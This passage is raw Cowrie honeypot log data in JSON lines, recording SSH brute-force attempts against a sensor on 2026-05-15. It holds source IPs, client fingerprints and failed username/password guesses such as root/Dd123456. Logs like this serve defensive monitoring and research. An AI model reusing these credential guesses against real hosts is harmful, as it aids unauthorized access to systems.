92-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:26.978026Z","src_ip":"95.58.255.251","session":"f0cab8d92803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:27.255136Z","src_ip":"144.91.86.102","session":"9a591f249abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:27.699094Z","src_ip":"95.58.255.251","session":"f0cab8d92803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:28.874713Z","src_ip":"95.58.255.251","session":"f0cab8d92803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":37690,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8efeab3e1cf","protocol":"ssh","message":"New connection: 192.169.243.246:37690 (159.203.135.109:22) [session: a8efeab3e1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:29.070019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:29.074975Z","src_ip":"192.169.243.246","session":"a8efeab3e1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:29.147584Z","src_ip":"192.169.243.246","session":"a8efeab3e1cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:29.466484Z","src_ip":"192.169.243.246","session":"a8efeab3e1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:30.544721Z","src_ip":"192.169.243.246","session":"a8efeab3e1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":40748,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c40c302edc0","protocol":"ssh","message":"New connection: 43.162.109.147:40748 (10.17.0.5:22) [session: 3c40c302edc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:31.572141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:31.576953Z","src_ip":"43.162.109.147","session":"3c40c302edc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:31.644548Z","src_ip":"43.162.109.147","session":"3c40c302edc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:31.950092Z","src_ip":"43.162.109.147","session":"3c40c302edc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:33.021347Z","src_ip":"43.162.109.147","session":"3c40c302edc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.106.83.59","src_port":43038,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8cdca79471","protocol":"ssh","message":"New connection: 180.106.83.59:43038 (10.17.0.5:22) [session: bc8cdca79471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:49.761823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:49.766847Z","src_ip":"180.106.83.59","session":"bc8cdca79471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:50.004575Z","src_ip":"180.106.83.59","session":"bc8cdca79471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mind","message":"login attempt [root/mind] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:51.879078Z","src_ip":"180.106.83.59","session":"bc8cdca79471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":34718,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d50689f329","protocol":"ssh","message":"New connection: 43.162.109.147:34718 (10.17.0.5:22) [session: f3d50689f329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:38.069695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:38.075134Z","src_ip":"43.162.109.147","session":"f3d50689f329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:38.143144Z","src_ip":"43.162.109.147","session":"f3d50689f329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY!@","message":"login attempt [root/QWERTY!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:38.452708Z","src_ip":"43.162.109.147","session":"f3d50689f329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:39.524327Z","src_ip":"43.162.109.147","session":"f3d50689f329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":51452,"dst_ip":"10.17.0.5","dst_port":22,"session":"3382a60668f2","protocol":"ssh","message":"New connection: 95.58.255.251:51452 (10.17.0.5:22) [session: 3382a60668f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:41.194881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:41.199588Z","src_ip":"95.58.255.251","session":"3382a60668f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:41.364503Z","src_ip":"95.58.255.251","session":"3382a60668f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"discover","message":"login attempt [root/discover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:42.052085Z","src_ip":"95.58.255.251","session":"3382a60668f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:43.219522Z","src_ip":"95.58.255.251","session":"3382a60668f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":36982,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed6e22f68049","protocol":"ssh","message":"New connection: 192.169.243.246:36982 (159.203.135.109:22) [session: ed6e22f68049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:44.092346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:44.096705Z","src_ip":"192.169.243.246","session":"ed6e22f68049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:44.168637Z","src_ip":"192.169.243.246","session":"ed6e22f68049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sum","message":"login attempt [root/sum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:44.490157Z","src_ip":"192.169.243.246","session":"ed6e22f68049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:45.566505Z","src_ip":"192.169.243.246","session":"ed6e22f68049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49582,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dcd2cc74180","protocol":"ssh","message":"New connection: 138.99.80.102:49582 (159.203.135.109:22) [session: 9dcd2cc74180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:51.722111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:51.727056Z","src_ip":"138.99.80.102","session":"9dcd2cc74180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:51.833864Z","src_ip":"138.99.80.102","session":"9dcd2cc74180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:52.292112Z","src_ip":"138.99.80.102","session":"9dcd2cc74180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:53.401995Z","src_ip":"138.99.80.102","session":"9dcd2cc74180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":53092,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d08b815c1f1","protocol":"ssh","message":"New connection: 200.108.174.4:53092 (159.203.135.109:22) [session: 7d08b815c1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:56.653779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:56.661933Z","src_ip":"200.108.174.4","session":"7d08b815c1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:56.807246Z","src_ip":"200.108.174.4","session":"7d08b815c1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:57.418799Z","src_ip":"200.108.174.4","session":"7d08b815c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:59:58.567290Z","src_ip":"200.108.174.4","session":"7d08b815c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":50602,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9265995072","protocol":"ssh","message":"New connection: 144.91.86.102:50602 (10.17.0.5:22) [session: bd9265995072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:01.399954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:00:01.410264Z","src_ip":"144.91.86.102","session":"bd9265995072","protocol":"ssh"}
